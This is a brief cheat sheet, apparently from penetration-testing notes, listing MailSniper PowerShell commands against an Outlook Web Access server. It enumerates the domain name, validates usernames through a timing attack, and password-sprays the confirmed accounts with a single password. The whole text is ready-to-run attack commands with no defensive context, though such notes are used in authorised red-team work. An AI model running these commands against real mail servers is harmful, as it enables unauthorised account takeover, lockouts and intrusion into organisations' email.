MailSniper

Commands

# Enumerate Netbios name
Invoke-DomainHarvestOWA -ExchHostname mail.name.com

# Uses timing attack to validate possible usernames with OWA server
Invoke-UsernameHarvestOWA -ExchHostname mail.name.io -Domain name.io -UserList possible.txt -OutFile valid.txt

# Password spray valid usernames with specific password
Invoke-PasswordSprayOWA -ExchHostname mail.name.io -UserList valid.txt -Password P@assword1234